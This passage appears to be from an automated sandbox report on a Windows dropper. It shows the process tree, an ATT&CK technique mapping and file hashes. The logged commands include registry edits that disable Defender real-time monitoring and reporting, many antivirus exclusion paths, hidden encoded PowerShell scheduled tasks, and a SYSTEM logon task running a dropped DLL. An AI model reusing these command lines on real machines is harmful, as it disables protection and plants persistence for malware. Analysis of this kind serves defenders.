"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"
4⤵
PID:1884

C:\Windows\SysWOW64\forfiles.exe
"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&"
4⤵
- Suspicious use of WriteProcessMemory
PID:1148

C:\Windows\SysWOW64\cmd.exe
/C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64&
5⤵
- Suspicious use of WriteProcessMemory
PID:816

\??\c:\windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32
6⤵
PID:1084

\??\c:\windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64
6⤵
PID:1008

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "gYjsouvPc" /SC once /ST 02:58:23 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
4⤵
- Creates scheduled task(s)
PID:1376

C:\Windows\SysWOW64\schtasks.exe
schtasks /run /I /tn "gYjsouvPc"
4⤵
PID:1496

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "gYjsouvPc"
4⤵
PID:524

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "boytPmuAkKgmiEZYSe" /SC once /ST 17:08:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\MiBciKVvopIpRLyaf\lPAIFilFZOpRFIX\WGWlQUs.exe\" X6 /site_id 525403 /S" /V1 /F
4⤵
- Drops file in Windows directory
- Creates scheduled task(s)
PID:268

C:\Windows\system32\taskeng.exe
taskeng.exe {DDC4AC88-2238-4243-BFB0-54127E55A503} S-1-5-21-2292972927-2705560509-2768824231-1000:GRXNNIIE\Admin:Interactive:[1]
1⤵
- Suspicious use of WriteProcessMemory
PID:1620

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:432

C:\Windows\system32\gpupdate.exe
"C:\Windows\system32\gpupdate.exe" /force
3⤵
PID:1616

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1272

C:\Windows\system32\gpupdate.exe
"C:\Windows\system32\gpupdate.exe" /force
3⤵
PID:976

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1196

C:\Windows\system32\gpupdate.exe
"C:\Windows\system32\gpupdate.exe" /force
3⤵
PID:580

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:948

C:\Windows\system32\gpupdate.exe
"C:\Windows\system32\gpupdate.exe" /force
3⤵
PID:2000

C:\Windows\system32\taskeng.exe
taskeng.exe {1FBC24C4-BD0F-441E-879E-B76D175B9DD7} S-1-5-18:NT AUTHORITY\System:Service:
1⤵
PID:1052

C:\Users\Admin\AppData\Local\Temp\MiBciKVvopIpRLyaf\lPAIFilFZOpRFIX\WGWlQUs.exe
C:\Users\Admin\AppData\Local\Temp\MiBciKVvopIpRLyaf\lPAIFilFZOpRFIX\WGWlQUs.exe X6 /site_id 525403 /S
2⤵
- Executes dropped EXE
- Drops file in System32 directory
PID:1492

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "gtdACsSKm" /SC once /ST 14:11:11 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
3⤵
- Creates scheduled task(s)
PID:1936

C:\Windows\SysWOW64\schtasks.exe
schtasks /run /I /tn "gtdACsSKm"
3⤵
PID:1716

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "gtdACsSKm"
3⤵
PID:1952

C:\Windows\SysWOW64\cmd.exe
cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:32
3⤵
PID:1700

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:32
4⤵
- Modifies Windows Defender Real-time Protection settings
PID:1488

C:\Windows\SysWOW64\cmd.exe
cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:64
3⤵
PID:1692

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:64
4⤵
- Modifies Windows Defender Real-time Protection settings
PID:1116

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "gxRflDcpa" /SC once /ST 02:19:05 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
3⤵
- Creates scheduled task(s)
PID:2024

C:\Windows\SysWOW64\schtasks.exe
schtasks /run /I /tn "gxRflDcpa"
3⤵
PID:896

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "gxRflDcpa"
3⤵
PID:1056

C:\Windows\SysWOW64\cmd.exe
cmd /C REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\UIFvrSrxAzeYKEuX" /t REG_DWORD /d 0 /reg:32
3⤵
PID:924

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\UIFvrSrxAzeYKEuX" /t REG_DWORD /d 0 /reg:32
4⤵
- Windows security bypass
PID:1348

C:\Windows\SysWOW64\cmd.exe
cmd /C REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\UIFvrSrxAzeYKEuX" /t REG_DWORD /d 0 /reg:64
3⤵
PID:1200

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\UIFvrSrxAzeYKEuX" /t REG_DWORD /d 0 /reg:64
4⤵
- Windows security bypass
PID:880

C:\Windows\SysWOW64\cmd.exe
cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\UIFvrSrxAzeYKEuX" /t REG_DWORD /d 0 /reg:32
3⤵
PID:1712

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\UIFvrSrxAzeYKEuX" /t REG_DWORD /d 0 /reg:32
4⤵
PID:1788

C:\Windows\SysWOW64\cmd.exe
cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\UIFvrSrxAzeYKEuX" /t REG_DWORD /d 0 /reg:64
3⤵
PID:1488

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\UIFvrSrxAzeYKEuX" /t REG_DWORD /d 0 /reg:64
4⤵
PID:1992

C:\Windows\SysWOW64\cmd.exe
cmd /C copy nul "C:\Windows\Temp\UIFvrSrxAzeYKEuX\jjHjxerq\nixwhbMlwWstWgGw.wsf"
3⤵
PID:476

C:\Windows\SysWOW64\wscript.exe
wscript "C:\Windows\Temp\UIFvrSrxAzeYKEuX\jjHjxerq\nixwhbMlwWstWgGw.wsf"
3⤵
- Modifies data under HKEY_USERS
PID:292

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\OKneYAAzclQU2" /t REG_DWORD /d 0 /reg:32
4⤵
- Windows security bypass
PID:428

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\OKneYAAzclQU2" /t REG_DWORD /d 0 /reg:64
4⤵
- Windows security bypass
PID:1216

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ZiLpQKvFpwQmACSzEAR" /t REG_DWORD /d 0 /reg:32
4⤵
- Windows security bypass
PID:1152

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\eCbNXTSQanJlC" /t REG_DWORD /d 0 /reg:32
4⤵
- Windows security bypass
PID:1996

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ZiLpQKvFpwQmACSzEAR" /t REG_DWORD /d 0 /reg:64
4⤵
- Windows security bypass
PID:628

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\eCbNXTSQanJlC" /t REG_DWORD /d 0 /reg:64
4⤵
- Windows security bypass
PID:1832

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\vcfECUarZbUn" /t REG_DWORD /d 0 /reg:32
4⤵
- Windows security bypass
PID:1972

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\vcfECUarZbUn" /t REG_DWORD /d 0 /reg:64
4⤵
- Windows security bypass
PID:676

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\wRLQelouU" /t REG_DWORD /d 0 /reg:32
4⤵
- Windows security bypass
PID:572

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\WoychCUlhHkYXpVB" /t REG_DWORD /d 0 /reg:32
4⤵
- Windows security bypass
PID:1272

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\wRLQelouU" /t REG_DWORD /d 0 /reg:64
4⤵
- Windows security bypass
PID:1180

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\WoychCUlhHkYXpVB" /t REG_DWORD /d 0 /reg:64
4⤵
PID:1520

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\MiBciKVvopIpRLyaf" /t REG_DWORD /d 0 /reg:32
4⤵
- Windows security bypass
PID:1064

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\MiBciKVvopIpRLyaf" /t REG_DWORD /d 0 /reg:64
4⤵
- Windows security bypass
PID:1916

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\UIFvrSrxAzeYKEuX" /t REG_DWORD /d 0 /reg:32
4⤵
- Windows security bypass
PID:476

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\UIFvrSrxAzeYKEuX" /t REG_DWORD /d 0 /reg:64
4⤵
PID:584

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\OKneYAAzclQU2" /t REG_DWORD /d 0 /reg:32
4⤵
PID:1168

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\OKneYAAzclQU2" /t REG_DWORD /d 0 /reg:64
4⤵
PID:1624

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ZiLpQKvFpwQmACSzEAR" /t REG_DWORD /d 0 /reg:32
4⤵
PID:1660

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ZiLpQKvFpwQmACSzEAR" /t REG_DWORD /d 0 /reg:64
4⤵
PID:1940

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\eCbNXTSQanJlC" /t REG_DWORD /d 0 /reg:32
4⤵
PID:1008

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\eCbNXTSQanJlC" /t REG_DWORD /d 0 /reg:64
4⤵
PID:1808

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\vcfECUarZbUn" /t REG_DWORD /d 0 /reg:32
4⤵
PID:980

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\vcfECUarZbUn" /t REG_DWORD /d 0 /reg:64
4⤵
PID:924

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\wRLQelouU" /t REG_DWORD /d 0 /reg:32
4⤵
PID:1944

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\WoychCUlhHkYXpVB" /t REG_DWORD /d 0 /reg:32
4⤵
PID:1700

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\wRLQelouU" /t REG_DWORD /d 0 /reg:64
4⤵
PID:1288

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\MiBciKVvopIpRLyaf" /t REG_DWORD /d 0 /reg:32
4⤵
PID:1704

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\WoychCUlhHkYXpVB" /t REG_DWORD /d 0 /reg:64
4⤵
PID:1580

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\UIFvrSrxAzeYKEuX" /t REG_DWORD /d 0 /reg:32
4⤵
PID:896

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\MiBciKVvopIpRLyaf" /t REG_DWORD /d 0 /reg:64
4⤵
PID:1112

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\UIFvrSrxAzeYKEuX" /t REG_DWORD /d 0 /reg:64
4⤵
- Windows security bypass
PID:584

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "gNmfvkMAN" /SC once /ST 16:21:26 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
3⤵
- Creates scheduled task(s)
PID:1168

C:\Windows\SysWOW64\schtasks.exe
schtasks /run /I /tn "gNmfvkMAN"
3⤵
PID:1080

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "gNmfvkMAN"
3⤵
PID:1056

C:\Windows\SysWOW64\cmd.exe
cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /v "DisableRealtimeMonitoring" /f /reg:32
3⤵
PID:1272

C:\Windows\SysWOW64\reg.exe
REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /v "DisableRealtimeMonitoring" /f /reg:32
4⤵
PID:1712

C:\Windows\SysWOW64\cmd.exe
cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /v "DisableRealtimeMonitoring" /f /reg:64
3⤵
PID:1156

C:\Windows\SysWOW64\reg.exe
REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /v "DisableRealtimeMonitoring" /f /reg:64
4⤵
PID:996

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "tRsUEOedRvIwZoOQu" /SC once /ST 14:44:10 /RU "SYSTEM" /TR "\"C:\Windows\Temp\UIFvrSrxAzeYKEuX\VEdIRfVaNlgFjwC\rXdRXZw.exe\" nL /site_id 525403 /S" /V1 /F
3⤵
- Drops file in Windows directory
- Creates scheduled task(s)
PID:2040

C:\Windows\SysWOW64\schtasks.exe
schtasks /run /I /tn "tRsUEOedRvIwZoOQu"
3⤵
PID:1904

C:\Windows\Temp\UIFvrSrxAzeYKEuX\VEdIRfVaNlgFjwC\rXdRXZw.exe
C:\Windows\Temp\UIFvrSrxAzeYKEuX\VEdIRfVaNlgFjwC\rXdRXZw.exe nL /site_id 525403 /S
2⤵
- Executes dropped EXE
- Drops Chrome extension
- Drops file in System32 directory
- Drops file in Program Files directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:1488

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "boytPmuAkKgmiEZYSe"
3⤵
PID:2028

C:\Windows\SysWOW64\cmd.exe
cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:32
3⤵
PID:2012

C:\Windows\SysWOW64\reg.exe
REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:32
4⤵
PID:564

C:\Windows\SysWOW64\cmd.exe
cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:64
3⤵
PID:628

C:\Windows\SysWOW64\reg.exe
REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:64
4⤵
PID:432

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TR "rundll32 \"C:\Program Files (x86)\wRLQelouU\WLjKmn.dll\",#1" /RU "SYSTEM" /SC ONLOGON /TN "xhAFLspUEGhlntx" /V1 /F
3⤵
- Drops file in Windows directory
- Creates scheduled task(s)
PID:1088

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "xhAFLspUEGhlntx2" /F /xml "C:\Program Files (x86)\wRLQelouU\uCrRXcq.xml" /RU "SYSTEM"
3⤵
- Creates scheduled task(s)
PID:1788

C:\Windows\SysWOW64\schtasks.exe
schtasks /END /TN "xhAFLspUEGhlntx"
3⤵
PID:1736

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "xhAFLspUEGhlntx"
3⤵
PID:1188

C:\Windows\system32\gpscript.exe
gpscript.exe /RefreshSystemParam
1⤵
PID:1660

C:\Windows\system32\gpscript.exe
gpscript.exe /RefreshSystemParam
1⤵
PID:1088

C:\Windows\system32\gpscript.exe
gpscript.exe /RefreshSystemParam
1⤵
PID:540

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-961367624780993672-15354584422002589200-469532859-992919477335365664134049696"
1⤵
- Windows security bypass
PID:1520

C:\Windows\system32\gpscript.exe
gpscript.exe /RefreshSystemParam
1⤵
PID:1348

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Modify Existing Service

T1031

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Modify Registry

T1112

Disabling Security Tools

T1089

Credential Access

Credentials in Files

T1081

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Program Files (x86)\wRLQelouU\uCrRXcq.xml
Filesize
2KB

MD5
d29e953673a2a462968421da9a577426

SHA1
70be4e9adda453ba3e0d52148d0e2a5e07f713f3

SHA256
b4f7cd39337d6e77c730240e0ecde4028e1a1bd7c1a42161960f31e2e5114ca6

SHA512
c8b7f1f3516c511dd6addf3696f86a06068446ac7a4de2ee59aa663d5165771162c81344b5d26709187d691c258bb7300ed9ce2a9cb074276516b8cd53976d85

Download Submit
C:\Users\Admin\AppData\Local\Temp\7zSADA.tmp\Install.exe
Filesize
6.3MB

MD5
e60c51107adfeca90bde43deb57f4688

SHA1
f222c460fa96184bc2fe82e8e041eb6b12f8f5aa

SHA256
a17b2c41dd6b592f61f9e1d407854dfb1465c569cc44335b36c2cb2b84f17690

SHA512
2b2c4d493b11bbb654a706536a59e16a34e4ffc88458880b9b334d4a5782c5d2661b6c421e5d46bffc7938fe0dbb8450842d2182f5ccc6da471a3d2a48f80884

Download Submit
C:\Users\Admin\AppData\Local\Temp\7zSADA.tmp\Install.exe
Filesize
6.3MB

MD5
e60c51107adfeca90bde43deb57f4688

SHA1
f222c460fa96184bc2fe82e8e041eb6b12f8f5aa

SHA256
a17b2c41dd6b592f61f9e1d407854dfb1465c569cc44335b36c2cb2b84f17690

SHA512
2b2c4d493b11bbb654a706536a59e16a34e4ffc88458880b9b334d4a5782c5d2661b6c421e5d46bffc7938fe0dbb8450842d2182f5ccc6da471a3d2a48f80884

Download Submit
C:\Users\Admin\AppData\Local\Temp\7zSDE6.tmp\Install.exe
Filesize
6.9MB

MD5
2cbf7a5984ef2b3f36e26375ed9f8d12

SHA1
8aac7877150b79530bd87250a67685118a66b964

SHA256
06ff91645cc2c770e71f8c2fde6875296bec5ce0bceda64b34b09c2b0bed5b60

SHA512
e92a3a03bbf1622f950d57665339a9d73de98817335a6d6eac160b0d9365abb99ce71ca33cc670de343b13fcc5837613832e0d5223039c904b3e18835b8bc49b

Download Submit
C:\Users\Admin\AppData\Local\Temp\7zSDE6.tmp\Install.exe
Filesize
6.9MB

MD5
2cbf7a5984ef2b3f36e26375ed9f8d12

SHA1
8aac7877150b79530bd87250a67685118a66b964

SHA256
06ff91645cc2c770e71f8c2fde6875296bec5ce0bceda64b34b09c2b0bed5b60

SHA512
e92a3a03bbf1622f950d57665339a9d73de98817335a6d6eac160b0d9365abb99ce71ca33cc670de343b13fcc5837613832e0d5223039c904b3e18835b8bc49b

Download Submit
C:\Users\Admin\AppData\Local\Temp\MiBciKVvopIpRLyaf\lPAIFilFZOpRFIX\WGWlQUs.exe
Filesize
6.9MB

MD5
2cbf7a5984ef2b3f36e26375ed9f8d12

SHA1
8aac7877150b79530bd87250a67685118a66b964

SHA256
06ff91645cc2c770e71f8c2fde6875296bec5ce0bceda64b34b09c2b0bed5b60

SHA512
e92a3a03bbf1622f950d57665339a9d73de98817335a6d6eac160b0d9365abb99ce71ca33cc670de343b13fcc5837613832e0d5223039c904b3e18835b8bc49b

Download Submit
C:\Users\Admin\AppData\Local\Temp\MiBciKVvopIpRLyaf\lPAIFilFZOpRFIX\WGWlQUs.exe
Filesize
6.9MB

MD5
2cbf7a5984ef2b3f36e26375ed9f8d12

SHA1
8aac7877150b79530bd87250a67685118a66b964

SHA256
06ff91645cc2c770e71f8c2fde6875296bec5ce0bceda64b34b09c2b0bed5b60

SHA512
e92a3a03bbf1622f950d57665339a9d73de98817335a6d6eac160b0d9365abb99ce71ca33cc670de343b13fcc5837613832e0d5223039c904b3e18835b8bc49b

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Filesize
7KB

MD5
62ca0d07fc4640d5c0540581fd260283

SHA1
911d276c8167a2f5dfc0d8f746d6f9925615d402

SHA256
981009169bc405e6ffec5bf07bacb0ea8ed65f68adbfb97bf6370b77afeb0bd3

SHA512
